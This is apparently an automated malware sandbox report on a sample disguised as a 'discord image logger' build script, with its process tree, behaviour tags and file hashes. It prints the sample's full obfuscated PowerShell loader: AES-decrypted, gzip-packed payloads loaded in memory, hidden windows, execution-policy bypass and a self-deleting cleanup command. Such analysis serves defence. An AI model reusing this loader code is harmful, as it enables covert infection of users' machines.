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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2060
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2436
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3480 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4460
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C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:2076
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C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"build.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function iwkhR($DITIA){ $XVnki=[System.Security.Cryptography.Aes]::Create(); $XVnki.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XVnki.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XVnki.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8ehdS6ppW71xL6mDjAeXsyQHYKmv0CPtd6Kn4aXzt4='); $XVnki.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hx3HwApb8t08fxY/Go7cSw=='); $LrZFK=$XVnki.CreateDecryptor(); $return_var=$LrZFK.TransformFinalBlock($DITIA, 0, $DITIA.Length); $LrZFK.Dispose(); $XVnki.Dispose(); $return_var;}function kOuIB($DITIA){ $DbpkU=New-Object System.IO.MemoryStream(,$DITIA); $qZtjl=New-Object System.IO.MemoryStream; $JMgSB=New-Object System.IO.Compression.GZipStream($DbpkU, [IO.Compression.CompressionMode]::Decompress); $JMgSB.CopyTo($qZtjl); $JMgSB.Dispose(); $DbpkU.Dispose(); $qZtjl.Dispose(); $qZtjl.ToArray();}function ZkZVP($DITIA,$AoxAJ){ $HLgZK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$DITIA); $UXpIZ=$HLgZK.EntryPoint; $UXpIZ.Invoke($null, $AoxAJ);}$zVdRm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat').Split([Environment]::NewLine);foreach ($BYfmw in $zVdRm) { if ($BYfmw.StartsWith(':: ')) { $Rndkm=$BYfmw.Substring(3); break; }}$FMGlq=[string[]]$Rndkm.Split('\');$IgKIL=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[0])));$voFjb=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[1])));ZkZVP $voFjb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZkZVP $IgKIL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3468).WaitForExit();[System.Threading.Thread]::Sleep(5000); function PprBf($RmAux){ $VbRCn=[System.Security.Cryptography.Aes]::Create(); $VbRCn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $VbRCn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $VbRCn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU='); $VbRCn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ=='); $nMOmr=$VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')(); $WZWky=$nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmAux, 0, $RmAux.Length); $nMOmr.Dispose(); $VbRCn.Dispose(); $WZWky;}function SPSlI($RmAux){ $qrnaZ=New-Object System.IO.MemoryStream(,$RmAux); $RJeXu=New-Object System.IO.MemoryStream; $eBeQA=New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::Decompress); $eBeQA.CopyTo($RJeXu); $eBeQA.Dispose(); $qrnaZ.Dispose(); $RJeXu.Dispose(); $RJeXu.ToArray();}function aBEzg($RmAux,$ZKJrf){ $oxAUi=[System.Reflection.Assembly]::Load([byte[]]$RmAux); $qVnjt=$oxAUi.EntryPoint; $qVnjt.Invoke($null, $ZKJrf);}$VbRCn1 = New-Object System.Security.Cryptography.AesManaged;$VbRCn1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$MSWRP = $VbRCn1.('rotpyrceDetaerC'[-1..-15] -join '')();$NUNZn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iZ8jPKmNkFdL1A6USwSGLA==');$NUNZn = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn, 0, $NUNZn.Length);$NUNZn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn);$cBXxm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('302eS2iAhetJuvIY9pVgKOFxBony5LGiLQi+lPOo9Ig=');$cBXxm = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cBXxm, 0, $cBXxm.Length);$cBXxm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cBXxm);$GlTUf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2/VItTApDmqYld7UNbITmw==');$GlTUf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GlTUf, 0, $GlTUf.Length);$GlTUf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GlTUf);$YQTnf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7u8mHn+uE8DouxrXvlfhI8HvaFVabiSu9wW1NQnVBW3d+pbXbyeWiMzHsShgQVzWTccLy3R/sL1Fgo2ngbj1Xyhdd8QHKlT7xJYowF1jSmMT/YNyn61oZ4EBOdIILtHY76iwoY89T/0NXOlbVQSqG6f76Tvu+/ljtRIjK68ygJujUjyjF9W1UFNXnjlbvKaQ0BTSj7AUpwYBspcSQUSWqlV4JZYmfkLzrzzafMFwHzW6zgfk8rU5wxN2vDnC7yji58n7rylZaggz4+okuyhoMrfM4k/T/mqHJ8VdUFO8xpIeX3hePuaZ5Z58y1CyCEoFhGVyjfm3AnZl3fgFnvsWSS15RXMq5KXGV3I38NkazdqvV05jjZTTECaOwsRwu2zLdJ29XVcSC4yPm3wAT5LZe+YH34hMw11+Tv5n+xxqwY=');$YQTnf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YQTnf, 0, $YQTnf.Length);$YQTnf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YQTnf);$CPWdf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vGf9ES1PdsfKW8Swn9bI3w==');$CPWdf = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CPWdf, 0, $CPWdf.Length);$CPWdf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CPWdf);$igAgV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UiHcuo7jcw/WkburfrLBQ==');$igAgV = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($igAgV, 0, $igAgV.Length);$igAgV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($igAgV);$ZYOXs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hDpsuPmELCzhYTCugvhrpA==');$ZYOXs = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZYOXs, 0, $ZYOXs.Length);$ZYOXs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZYOXs);$cmXWw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Duasd/EcBtQj2cZsgiwg+Q==');$cmXWw = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cmXWw, 0, $cmXWw.Length);$cmXWw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cmXWw);$qpchR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KDa4G8PrmTjfH/8cqC5WDg==');$qpchR = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qpchR, 0, $qpchR.Length);$qpchR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qpchR);$NUNZn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkNHx2c/PIn2isifrSOkpw==');$NUNZn0 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn0, 0, $NUNZn0.Length);$NUNZn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn0);$NUNZn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QCQIFS3Mnpd27lKyoiLRsA==');$NUNZn1 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn1, 0, $NUNZn1.Length);$NUNZn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn1);$NUNZn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McBhlHe8GfiHzcJuHtKawA==');$NUNZn2 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn2, 0, $NUNZn2.Length);$NUNZn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn2);$NUNZn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iUE4hGy8AZeVxL9AvErB6A==');$NUNZn3 = $MSWRP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NUNZn3, 0, $NUNZn3.Length);$NUNZn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NUNZn3);$MSWRP.Dispose();$VbRCn1.Dispose();if (@(get-process -ea silentlycontinue $NUNZn3).count -gt 1) {exit};$Stjgn = [Microsoft.Win32.Registry]::$cmXWw.$ZYOXs($NUNZn).$igAgV($cBXxm);$hQsbc=[string[]]$Stjgn.Split('\');$YNdMX=SPSlI(PprBf([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[1])));aBEzg $YNdMX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NbCPC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($hQsbc[0]);$VbRCn = New-Object System.Security.Cryptography.AesManaged;$VbRCn.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VbRCn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VbRCn.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gf3NIzj2nFlOnjHyBxw3sV9/iWD1czH3fYecCqhPjrU=');$VbRCn.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nom1msioM+0T3KH2R6vuXQ==');$nMOmr = $VbRCn.('rotpyrceDetaerC'[-1..-15] -join '')();$NbCPC = $nMOmr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NbCPC, 0, $NbCPC.Length);$nMOmr.Dispose();$VbRCn.Dispose();$qrnaZ = New-Object System.IO.MemoryStream(, $NbCPC);$RJeXu = New-Object System.IO.MemoryStream;$eBeQA = New-Object System.IO.Compression.GZipStream($qrnaZ, [IO.Compression.CompressionMode]::$NUNZn1);$eBeQA.$qpchR($RJeXu);$eBeQA.Dispose();$qrnaZ.Dispose();$RJeXu.Dispose();$NbCPC = $RJeXu.ToArray();$dlxUL = $YQTnf | IEX;$oxAUi = $dlxUL::$NUNZn2($NbCPC);$qVnjt = $oxAUi.EntryPoint;$qVnjt.$NUNZn0($null, (, [string[]] ($GlTUf)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4584 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:4588
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2456
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4048
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"5⤵
- Views/modifies file attributes
PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3680
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3872
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4028
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4872
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4328
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2280
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1048
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4648
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1548
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:3648
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3888
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4068
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵PID:8
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
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Filesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
